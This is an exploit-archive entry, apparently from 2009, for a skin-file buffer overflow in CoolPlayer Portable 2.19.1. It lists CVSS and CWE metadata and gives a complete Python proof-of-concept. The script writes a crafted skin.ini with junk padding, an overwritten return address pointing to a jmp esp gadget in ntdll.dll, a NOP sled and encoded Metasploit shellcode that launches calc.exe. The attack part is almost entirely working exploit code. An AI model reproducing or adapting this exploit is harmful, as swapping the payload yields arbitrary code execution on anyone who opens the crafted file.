CoolPlayer Portable 2.19.1 (Skin) Buffer Overflow Exploit

2009.05.02
Credit: Stack
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-119


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# CoolPlayer Portable 2.19.1 (Skin) Buffer Overflow exploit # By Stack Sysworm.com # Note abouts this Exploit : right click >> Option >> Open >> select our target file and boooooom calc executed :d # Note abouts the last exploit (m3u): my first Exploit Have just 212 + 4 - Junk + eip i dont know why didin't be the same for my sweety freind His0ka # When i test He's exploit it didin't work and the ret adress be far from eip register and it overwrited by A's junk i dont know why but i think the junk change from box to box # Thnx for all freind ( Jadi - Mr.Safa7 - Hod - His0ka - Djekmani etc ...... # Thnx for the great str0ke thnx for your support :d chars = "\x41" * 1504 eip = "\xED\x1E\x94\x7C" # ntdll.dll jmp esp SP 2 FR / EN header = "[CoolPlayer Skin]\nPlaylistSkin=" # win32_exec - EXITFUNC=seh CMD=calc.exe Size=351 Encoder=PexAlphaNum http://metasploit.com shellcode = ( "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54" "\x42\x30\x42\x30\x42\x50\x4b\x38\x45\x44\x4e\x43\x4b\x48\x4e\x37" "\x45\x50\x4a\x47\x41\x50\x4f\x4e\x4b\x58\x4f\x44\x4a\x41\x4b\x38" "\x4f\x45\x42\x52\x41\x50\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x58" "\x41\x30\x50\x4e\x41\x53\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c" "\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x50\x45\x47\x45\x4e\x4b\x38" "\x4f\x55\x46\x52\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x34" "\x4b\x58\x4f\x45\x4e\x51\x41\x50\x4b\x4e\x4b\x58\x4e\x41\x4b\x58" "\x41\x50\x4b\x4e\x49\x38\x4e\x35\x46\x52\x46\x30\x43\x4c\x41\x53" "\x42\x4c\x46\x56\x4b\x38\x42\x54\x42\x43\x45\x58\x42\x4c\x4a\x57" "\x4e\x50\x4b\x58\x42\x44\x4e\x50\x4b\x58\x42\x57\x4e\x41\x4d\x4a" "\x4b\x48\x4a\x46\x4a\x50\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b" "\x42\x50\x42\x50\x42\x30\x4b\x48\x4a\x36\x4e\x33\x4f\x55\x41\x53" "\x48\x4f\x42\x46\x48\x35\x49\x48\x4a\x4f\x43\x48\x42\x4c\x4b\x57" "\x42\x35\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x56\x4a\x49" "\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x56\x41\x56" "\x4e\x36\x43\x56\x50\x52\x45\x36\x4a\x37\x45\x46\x42\x50\x5a") poc = (header+chars+eip+"\x90"*10+shellcode) file = open('skin.ini','w+') file.write(poc) file.close()

References:

http://www.milw0rm.com/exploits/8527


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